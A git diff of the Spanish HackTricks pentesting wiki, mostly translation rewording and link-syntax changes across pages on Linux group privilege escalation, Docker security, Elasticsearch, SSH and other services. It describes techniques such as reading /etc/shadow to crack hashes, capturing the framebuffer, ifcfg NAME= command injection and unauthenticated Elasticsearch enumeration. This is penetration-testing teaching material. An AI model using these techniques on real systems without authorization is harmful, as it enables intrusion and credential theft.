@@ -1340,9 +1344,9 @@ Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.
Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-` en _/etc/sysconfig/network-scripts_ **o** puede **ajustar** uno existente, entonces tu **sistema está comprometido**.
-Los scripts de red, _ifcg-eth0_ por ejemplo, se utilizan para conexiones de red. Se ven exactamente como archivos .INI. Sin embargo, son \~sourced\~ en Linux por Network Manager (dispatcher.d).
+Los scripts de red, _ifcg-eth0_ por ejemplo, se utilizan para conexiones de red. Se ven exactamente como archivos .INI. Sin embargo, son \~sourced\~ en Linux por el Network Manager (dispatcher.d).
-En mi caso, el atributo `NAME=` en estos scripts de red no se maneja correctamente. Si tienes **espacio en blanco en el nombre, el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**.
+En mi caso, el atributo `NAME=` en estos scripts de red no se maneja correctamente. Si tienes **espacios en blanco en el nombre, el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**.
Por ejemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md
index c229b82d4..1331290ed 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/README.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/README.md
@@ -76,7 +76,7 @@ La firma de imágenes de Docker garantiza la seguridad e integridad de las imág
- Para activar la confianza en el contenido de Docker, establece `export DOCKER_CONTENT_TRUST=1`. Esta función está desactivada por defecto en Docker versión 1.10 y posteriores.
- Con esta función habilitada, solo se pueden descargar imágenes firmadas. El primer envío de imágenes requiere establecer frases de contraseña para las claves raíz y de etiquetado, con Docker también soportando Yubikey para una mayor seguridad. Más detalles se pueden encontrar [aquí](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Intentar descargar una imagen no firmada con la confianza en el contenido habilitada resulta en un error "No trust data for latest".
-- Para envíos de imágenes después del primero, Docker solicita la frase de contraseña de la clave del repositorio para firmar la imagen.
+- Para los envíos de imágenes después del primero, Docker solicita la frase de contraseña de la clave del repositorio para firmar la imagen.
Para respaldar tus claves privadas, utiliza el comando:
```bash
@@ -102,7 +102,7 @@ En entornos contenedorizados, aislar proyectos y sus procesos es fundamental par
**Grupos de Control (CGroups)**
-- **Función**: Principalmente utilizados para asignar recursos entre procesos.
+- **Función**: Utilizados principalmente para asignar recursos entre procesos.
- **Aspecto de Seguridad**: Los CGroups en sí no ofrecen seguridad de aislamiento, excepto por la característica `release_agent`, que, si está mal configurada, podría ser explotada para acceso no autorizado.
**Caída de Capacidades**
@@ -110,14 +110,14 @@ En entornos contenedorizados, aislar proyectos y sus procesos es fundamental par
- **Importancia**: Es una característica de seguridad crucial para el aislamiento de procesos.
- **Funcionalidad**: Restringe las acciones que un proceso raíz puede realizar al eliminar ciertas capacidades. Incluso si un proceso se ejecuta con privilegios de root, la falta de las capacidades necesarias impide que ejecute acciones privilegiadas, ya que las llamadas al sistema fallarán debido a permisos insuficientes.
-Estas son las **capacidades restantes** después de que el proceso elimine las otras:
+Estas son las **capacidades restantes** después de que el proceso elimina las otras:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
**Seccomp**
Está habilitado por defecto en Docker. Ayuda a **limitar aún más las syscalls** que el proceso puede llamar.\
-El **perfil de Seccomp predeterminado de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
+El **perfil Seccomp por defecto de Docker** se puede encontrar en [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
**AppArmor**
@@ -166,7 +166,7 @@ cgroups.md
### Capacidades
-Las capacidades permiten **un control más fino sobre las capacidades que se pueden permitir** para el usuario root. Docker utiliza la característica de capacidad del núcleo de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario.
+Las capacidades permiten **un control más fino sobre las capacidades que se pueden permitir** para el usuario root. Docker utiliza la función de capacidad del núcleo de Linux para **limitar las operaciones que se pueden realizar dentro de un contenedor** independientemente del tipo de usuario.
Cuando se ejecuta un contenedor de Docker, el **proceso elimina capacidades sensibles que el proceso podría usar para escapar de la aislamiento**. Esto intenta asegurar que el proceso no podrá realizar acciones sensibles y escapar:
@@ -311,18 +311,22 @@ En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pue
**gVisor** es un núcleo de aplicación, escrito en Go, que implementa una parte sustancial de la superficie del sistema Linux. Incluye un runtime de [Open Container Initiative (OCI)](https://www.opencontainers.org) llamado `runsc` que proporciona un **límite de aislamiento entre la aplicación y el núcleo del host**. El runtime `runsc` se integra con Docker y Kubernetes, lo que facilita la ejecución de contenedores en sandbox.
-{% embed url="https://github.com/google/gvisor" %}
+{{#ref}}
+https://github.com/google/gvisor
+{{#endref}}
### Kata Containers
**Kata Containers** es una comunidad de código abierto que trabaja para construir un runtime de contenedores seguro con máquinas virtuales ligeras que se sienten y rinden como contenedores, pero que proporcionan **un aislamiento de carga de trabajo más fuerte utilizando tecnología de virtualización de hardware** como una segunda capa de defensa.
-{% embed url="https://katacontainers.io/" %}
+{{#ref}}
+https://katacontainers.io/
+{{#endref}}
-### Consejos Resumidos
+### Resumen de Consejos
-- **No use la bandera `--privileged` ni monte un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite crear contenedores, por lo que es una forma fácil de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
-- **No ejecute como root dentro del contenedor. Use un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **y** [**namespaces de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con namespaces de usuario. Está solo ligeramente restringido por, principalmente, namespaces de Linux, capacidades y cgroups.
+- **No utilice la bandera `--privileged` ni monte un** [**socket de Docker dentro del contenedor**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** El socket de Docker permite crear contenedores, por lo que es una forma fácil de tomar el control total del host, por ejemplo, ejecutando otro contenedor con la bandera `--privileged`.
+- **No ejecute como root dentro del contenedor. Use un** [**usuario diferente**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **y** [**namespaces de usuario**](https://docs.docker.com/engine/security/userns-remap/)**.** El root en el contenedor es el mismo que en el host a menos que se remapee con namespaces de usuario. Está restringido ligeramente por, principalmente, namespaces de Linux, capacidades y cgroups.
- [**Elimine todas las capacidades**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) y habilite solo las que son necesarias** (`--cap-add=...`). Muchas cargas de trabajo no necesitan capacidades y agregarlas aumenta el alcance de un posible ataque.
- [**Utilice la opción de seguridad “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) para evitar que los procesos obtengan más privilegios, por ejemplo, a través de binarios suid.
- [**Limite los recursos disponibles para el contenedor**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Los límites de recursos pueden proteger la máquina de ataques de denegación de servicio.
@@ -330,7 +334,7 @@ En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pue
- **Utilice** [**imágenes oficiales de Docker**](https://docs.docker.com/docker-hub/official_images/) **y requiera firmas** o construya las suyas propias basadas en ellas. No herede ni use imágenes [con puerta trasera](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). También almacene claves raíz y frases de paso en un lugar seguro. Docker tiene planes para gestionar claves con UCP.
- **Reconstruya regularmente** sus imágenes para **aplicar parches de seguridad al host y a las imágenes.**
- Gestione sus **secretos sabiamente** para que sea difícil para el atacante acceder a ellos.
-- Si **expone el demonio de Docker, use HTTPS** con autenticación de cliente y servidor.
+- Si **expone el daemon de docker, use HTTPS** con autenticación de cliente y servidor.
- En su Dockerfile, **prefiera COPY en lugar de ADD**. ADD extrae automáticamente archivos comprimidos y puede copiar archivos de URLs. COPY no tiene estas capacidades. Siempre que sea posible, evite usar ADD para no ser susceptible a ataques a través de URLs remotas y archivos Zip.
- Tenga **contenedores separados para cada microservicio.**
- **No ponga ssh** dentro del contenedor, “docker exec” se puede usar para ssh al contenedor.
@@ -338,7 +342,7 @@ En entornos de Kubernetes, los secretos son compatibles de forma nativa y se pue
## Docker Breakout / Escalación de Privilegios
-Si está **dentro de un contenedor de Docker** o tiene acceso a un usuario en el **grupo de Docker**, podría intentar **escapar y escalar privilegios**:
+Si está **dentro de un contenedor de docker** o tiene acceso a un usuario en el **grupo de docker**, podría intentar **escapar y escalar privilegios**:
{{#ref}}
docker-breakout-privilege-escalation/
@@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/
## Bypass del Plugin de Autenticación de Docker
-Si tiene acceso al socket de Docker o tiene acceso a un usuario en el **grupo de Docker pero sus acciones están siendo limitadas por un plugin de autenticación de Docker**, verifique si puede **eludirlo:**
+Si tiene acceso al socket de docker o tiene acceso a un usuario en el **grupo de docker pero sus acciones están siendo limitadas por un plugin de autenticación de docker**, verifique si puede **eludirlo:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
@@ -355,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md
## Endurecimiento de Docker
- La herramienta [**docker-bench-security**](https://github.com/docker/docker-bench-security) es un script que verifica docenas de mejores prácticas comunes en torno al despliegue de contenedores Docker en producción. Las pruebas son todas automatizadas y se basan en el [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
-Necesita ejecutar la herramienta desde el host que ejecuta Docker o desde un contenedor con suficientes privilegios. Descubra **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
+Necesita ejecutar la herramienta desde el host que ejecuta docker o desde un contenedor con suficientes privilegios. Descubra **cómo ejecutarlo en el README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Referencias
@@ -373,5 +377,4 @@ Necesita ejecutar la herramienta desde el host que ejecuta Docker o desde un con
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
index eaa3b0dcf..a56f50585 100644
--- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
+++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
@@ -6,7 +6,7 @@
### **PE - Método 1**
-**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** archivo puedes encontrar algunas de estas líneas:
+**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** puedes encontrar algunas de estas líneas:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@@ -56,7 +56,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1
```
## Grupo Wheel
-**A veces**, **por defecto** dentro del **/etc/sudoers** puedes encontrar esta línea:
+**A veces**, **por defecto** dentro del **/etc/sudoers** archivo puedes encontrar esta línea:
```
%wheel ALL=(ALL:ALL) ALL
```
@@ -72,7 +72,7 @@ Los usuarios del **grupo shadow** pueden **leer** el **/etc/shadow** archivo:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
-Así que, lee el archivo y trata de **crackear algunos hashes**.
+Así que, lee el archivo e intenta **crackear algunos hashes**.
## Grupo de Personal
@@ -163,7 +163,7 @@ El **grupo de video** tiene acceso para ver la salida de la pantalla. Básicamen
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
-Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el archivo **`screen.raw`** y seleccionar como tipo de archivo **Datos de imagen en bruto**:
+Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el \*\*`screen.raw`\*\* y seleccionar como tipo de archivo **Datos de imagen en bruto**:
.png>)
@@ -201,9 +201,13 @@ Finalmente, si no te gustan ninguna de las sugerencias anteriores, o no están f
Si tienes permisos de escritura sobre el socket de docker, lee [**esta publicación sobre cómo escalar privilegios abusando del socket de docker**](../#writable-docker-socket)**.**
-{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
+{{#ref}}
+https://github.com/KrustyHack/docker-privilege-escalation
+{{#endref}}
-{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
+{{#ref}}
+https://fosterelli.co/privilege-escalation-via-docker.html
+{{#endref}}
## Grupo lxc/lxd
diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
index 6935b3e07..a90132236 100644
--- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
+++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
@@ -1,6 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
-
# Grupos Sudo/Admin
## **PE - Método 1**
@@ -30,7 +29,7 @@ Verifica el contenido de:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
-Ahí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunos linux pueden **aparecer** algunos de los grupos **sudo o admin**.
+Ahí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunas distribuciones de Linux pueden **aparecer** algunos de los grupos **sudo o admin**.
Para **convertirte en root puedes ejecutar**:
```bash
@@ -127,9 +126,13 @@ find / -group root -perm -g=w 2>/dev/null
Puedes montar el sistema de archivos raíz de la máquina host en el volumen de una instancia, de modo que cuando la instancia se inicie, carga inmediatamente un `chroot` en ese volumen. Esto te da efectivamente acceso root en la máquina.
-{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
+{{#ref}}
+https://github.com/KrustyHack/docker-privilege-escalation
+{{#endref}}
-{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
+{{#ref}}
+https://fosterelli.co/privilege-escalation-via-docker.html
+{{#endref}}
# Grupo lxc/lxd
diff --git a/src/misc/references.md b/src/misc/references.md
index 9e5dd6281..eb3792a1f 100644
--- a/src/misc/references.md
+++ b/src/misc/references.md
@@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
-{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
+{{#ref}}
+https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
+{{#endref}}
-{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
+{{#ref}}
+https://hausec.com/pentesting-cheatsheet/#_Toc475368982
+{{#endref}}
-{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
+{{#ref}}
+https://anhtai.me/pentesting-cheatsheet/
+{{#endref}}
-{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
+{{#ref}}
+https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
+{{#endref}}
-{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
+{{#ref}}
+https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
+{{#endref}}
-{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
+{{#ref}}
+https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
+{{#endref}}
-{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
+{{#ref}}
+https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
+{{#endref}}
-{% embed url="https://anhtai.me/oscp-fun-guide/" %}
+{{#ref}}
+https://anhtai.me/oscp-fun-guide/
+{{#endref}}
-{% embed url="https://www.thehacker.recipes/" %}
+{{#ref}}
+https://www.thehacker.recipes/
+{{#endref}}
-{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
+{{#ref}}
+https://github.com/swisskyrepo/PayloadsAllTheThings
+{{#endref}}
-{% embed url="https://gtfobins.github.io/" %}
+{{#ref}}
+https://gtfobins.github.io/
+{{#endref}}
-{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
+{{#ref}}
+https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
+{{#endref}}
-{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
+{{#ref}}
+https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
+{{#endref}}
-{% embed url="https://hideandsec.sh/" %}
+{{#ref}}
+https://hideandsec.sh/
+{{#endref}}
-{% embed url="https://cheatsheet.haax.fr/" %}
+{{#ref}}
+https://cheatsheet.haax.fr/
+{{#endref}}
-{% embed url="https://infosecwriteups.com/" %}
+{{#ref}}
+https://infosecwriteups.com/
+{{#endref}}
-{% embed url="https://www.exploit-db.com/" %}
+{{#ref}}
+https://www.exploit-db.com/
+{{#endref}}
-{% embed url="https://wadcoms.github.io/" %}
+{{#ref}}
+https://wadcoms.github.io/
+{{#endref}}
-{% embed url="https://lolbas-project.github.io" %}
+{{#ref}}
+https://lolbas-project.github.io
+{{#endref}}
-{% embed url="https://pentestbook.six2dez.com/" %}
+{{#ref}}
+https://pentestbook.six2dez.com/
+{{#endref}}
-{% embed url="https://www.hackingarticles.in/" %}
+{{#ref}}
+https://www.hackingarticles.in/
+{{#endref}}
-{% embed url="https://pentestlab.blog/" %}
+{{#ref}}
+https://pentestlab.blog/
+{{#endref}}
-{% embed url="https://ippsec.rocks/" %}
+{{#ref}}
+https://ippsec.rocks/
+{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md
index 7f9871d43..5d55a9980 100644
--- a/src/network-services-pentesting/5439-pentesting-redshift.md
+++ b/src/network-services-pentesting/5439-pentesting-redshift.md
@@ -6,8 +6,10 @@
Este puerto es utilizado por **Redshift** para funcionar. Es básicamente una variación de **PostgreSQL** en AWS.
-Para más información, consulta:
+Para más información consulta:
-{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum" %}
+{{#ref}}
+https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
+{{#endref}}
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md
index 6df840c01..dcc62d395 100644
--- a/src/network-services-pentesting/9100-pjl.md
+++ b/src/network-services-pentesting/9100-pjl.md
@@ -46,9 +46,11 @@ msf> use auxiliary/scanner/printer/printer_delete_file
```
## Herramienta de hacking de impresoras
-Esta es la herramienta que deseas usar para abusar de impresoras:
+Esta es la herramienta que quieres usar para abusar de impresoras:
-{% embed url="https://github.com/RUB-NDS/PRET" %}
+{{#ref}}
+https://github.com/RUB-NDS/PRET
+{{#endref}}
# **Shodan**
diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md
index 304ae01c9..c19d5f168 100644
--- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md
+++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md
@@ -4,11 +4,33 @@
## Información básica
-Elasticsearch es un motor de búsqueda y análisis **distribuido**, **de código abierto** para **todo tipo de datos**. Es conocido por su **velocidad**, **escalabilidad** y **APIs REST simples**. Construido sobre Apache Lucene, fue lanzado por primera vez en 2010 por Elasticsearch N.V. (ahora conocido como Elastic). Elasticsearch es el componente central del Elastic Stack, una colección de herramientas de código abierto para la ingestión, enriquecimiento, almacenamiento, análisis y visualización de datos. Este stack, comúnmente conocido como ELK Stack, también incluye Logstash y Kibana, y ahora tiene agentes de envío de datos ligeros llamados Beats.
+Elasticsearch es un motor de búsqueda y análisis **distribuido**, **de código abierto** para **todo tipo de datos**. Es conocido por su **velocidad**, **escalabilidad** y **APIs REST simples**. Construido sobre Apache Lucene, fue lanzado por primera vez en 2010 por Elasticsearch N.V. (ahora conocido como Elastic). Elasticsearch es el componente central del Elastic Stack, una colección de herramientas de código abierto para la ingestión, enriquecimiento, almacenamiento, análisis y visualización de datos. Este stack, comúnmente referido como ELK Stack, también incluye Logstash y Kibana, y ahora tiene agentes de envío de datos ligeros llamados Beats.
### ¿Qué es un índice de Elasticsearch?
-Un **índice** de Elasticsearch es una
+Un **índice** de Elasticsearch es una colección de **documentos relacionados** almacenados como **JSON**. Cada documento consiste en **claves** y sus correspondientes **valores** (cadenas, números, booleanos, fechas, arreglos, geolocalizaciones, etc.).
+
+Elasticsearch utiliza una estructura de datos eficiente llamada **índice invertido** para facilitar búsquedas de texto completo rápidas. Este índice lista cada palabra única en los documentos e identifica los documentos en los que aparece cada palabra.
+
+Durante el proceso de indexación, Elasticsearch almacena los documentos y construye el índice invertido, permitiendo búsquedas casi en tiempo real. La **API de índice** se utiliza para agregar o actualizar documentos JSON dentro de un índice específico.
+
+**Puerto por defecto**: 9200/tcp
+
+## Enumeración manual
+
+### Banner
+
+El protocolo utilizado para acceder a Elasticsearch es **HTTP**. Cuando accedes a él a través de HTTP, encontrarás información interesante: `http://10.10.10.115:9200/`
+
+.png>)
+
+Si no ves esa respuesta al acceder a `/`, consulta la siguiente sección.
+
+### Autenticación
+
+**Por defecto, Elasticsearch no tiene la autenticación habilitada**, por lo que, por defecto, puedes acceder a todo dentro de la base de datos sin usar ninguna credencial.
+
+Puedes verificar que la autenticación está deshabilitada con una solicitud a:
```bash
curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
{"error":{"root_cause":[{"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."}],"type":"exception","reason":"Security must be explicitly enabled when using a [basic] license. Enable security by setting [xpack.security.enabled] to [true] in the elasticsearch.yml file and restart the node."},"status":500}
@@ -33,7 +55,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"
#Get more information about the rights of an user:
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/"
```
-### Elastic Info
+### Información de Elastic
Aquí hay algunos endpoints a los que puedes **acceder a través de GET** para **obtener** información sobre elasticsearch:
@@ -69,7 +91,7 @@ Además, si accedes a `/_cat`, la respuesta contendrá los endpoints `/_cat/*` s
En `/_security/user` (si la autenticación está habilitada) puedes ver qué usuario tiene el rol `superuser`.
-### Indices
+### Índices
Puedes **reunir todos los índices** accediendo a `http://10.10.10.115:9200/_cat/indices?v`
```
@@ -107,7 +129,7 @@ Si estás buscando alguna información, puedes hacer una **búsqueda en bruto en
Si solo deseas **buscar en un índice** puedes **especificarlo** en la **ruta**: `http://host:9200//_search?pretty=true&q=`
-_Ten en cuenta que el parámetro q utilizado para buscar contenido **soporta expresiones regulares**_
+_Nota que el parámetro q utilizado para buscar contenido **soporta expresiones regulares**_
También puedes usar algo como [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) para hacer fuzzing a un servicio de elasticsearch.
@@ -139,11 +161,12 @@ Algunas herramientas obtendrán algunos de los datos presentados anteriormente:
```bash
msf > use auxiliary/scanner/elasticsearch/indices_enum
```
-{% embed url="https://github.com/theMiddleBlue/nmap-elasticsearch-nse" %}
+{{#ref}}
+https://github.com/theMiddleBlue/nmap-elasticsearch-nse
+{{#endref}}
## Shodan
- `port:9200 elasticsearch`
-
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md
index 77aae7962..00ae87acc 100644
--- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md
+++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md
@@ -4,7 +4,9 @@
# **Contraseñas por defecto**
-{% embed url="http://www.vulnerabilityassessment.co.uk/passwordsC.htm" %}
+{{#ref}}
+http://www.vulnerabilityassessment.co.uk/passwordsC.htm
+{{#endref}}
# Archivos de configuración
```text
diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md
index df43cdd31..86a5b465c 100644
--- a/src/network-services-pentesting/pentesting-kerberos-88/README.md
+++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md
@@ -27,7 +27,9 @@ PORT STATE SERVICE
La vulnerabilidad MS14-068 permite a un atacante manipular el token de inicio de sesión Kerberos de un usuario legítimo para reclamar falsamente privilegios elevados, como ser un Administrador de Dominio. Esta reclamación falsa es validada erróneamente por el Controlador de Dominio, lo que permite el acceso no autorizado a los recursos de la red en todo el bosque de Active Directory.
-{% embed url="https://adsecurity.org/?p=541" %}
+{{#ref}}
+https://adsecurity.org/?p=541
+{{#endref}}
Otros exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md
index d29c32931..761345f00 100644
--- a/src/network-services-pentesting/pentesting-ssh.md
+++ b/src/network-services-pentesting/pentesting-ssh.md
@@ -2,8 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
-
-
## Información Básica
**SSH (Secure Shell o Secure Socket Shell)** es un protocolo de red que permite una conexión segura a una computadora a través de una red no segura. Es esencial para mantener la confidencialidad e integridad de los datos al acceder a sistemas remotos.
@@ -23,7 +21,7 @@
- [libssh](https://www.libssh.org) – biblioteca C multiplataforma que implementa el protocolo SSHv2 con enlaces en [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) y [R](https://github.com/ropensci/ssh); es utilizada por KDE para sftp y por GitHub para la infraestructura git SSH
- [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – biblioteca de servidor SSHv2 escrita en ANSI C y dirigida a entornos embebidos, RTOS y con recursos limitados
-- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – la biblioteca java Apache SSHD se basa en Apache MINA
+- [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – biblioteca java Apache SSHD basada en Apache MINA
- [paramiko](https://github.com/paramiko/paramiko) – biblioteca del protocolo SSHv2 en Python
## Enumeración
@@ -42,7 +40,7 @@ ssh-audit es una herramienta para la auditoría de la configuración del servido
- Soporte para el protocolo SSH1 y SSH2;
- analizar la configuración del cliente SSH;
-- capturar banner, reconocer dispositivo o software y sistema operativo, detectar compresión;
+- obtener banner, reconocer dispositivo o software y sistema operativo, detectar compresión;
- recopilar algoritmos de intercambio de claves, clave de host, cifrado y código de autenticación de mensajes;
- salida de información sobre algoritmos (disponible desde, eliminado/deshabilitado, inseguro/débil/legado, etc);
- salida de recomendaciones de algoritmos (agregar o eliminar según la versión de software reconocida);
@@ -95,9 +93,9 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a
## Fuerza bruta de nombres de usuario, contraseñas y claves privadas
-### Enumeración de nombres de usuario
+### Enumeración de Nombres de Usuario
-En algunas versiones de OpenSSH puedes realizar un ataque de temporización para enumerar usuarios. Puedes usar un módulo de metasploit para explotar esto:
+En algunas versiones de OpenSSH, puedes realizar un ataque de temporización para enumerar usuarios. Puedes usar un módulo de metasploit para explotar esto:
```
msf> use scanner/ssh/ssh_enumusers
```
@@ -105,7 +103,7 @@ msf> use scanner/ssh/ssh_enumusers
Algunas credenciales ssh comunes [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) y [aquí](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) y a continuación.
-### Fuerza Bruta de Clave Privada
+### Fuerza bruta de clave privada
Si conoces algunas claves privadas ssh que podrían ser utilizadas... intentémoslo. Puedes usar el script de nmap:
```
@@ -119,11 +117,13 @@ O use `ssh-keybrute.py` (python3 nativo, ligero y con algoritmos heredados habil
#### Las badkeys conocidas se pueden encontrar aquí:
-{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
+{{#ref}}
+https://github.com/rapid7/ssh-badkeys/tree/master/authorized
+{{#endref}}
#### Claves SSH débiles / PRNG predecible de Debian
-Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser forzado. Conjuntos de claves pre-generadas generadas en sistemas Debian afectados por PRNG débiles están disponibles aquí: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
+Algunos sistemas tienen fallas conocidas en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser forzado. Conjuntos de claves pre-generadas generadas en sistemas Debian afectados por PRNG débiles están disponibles aquí: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
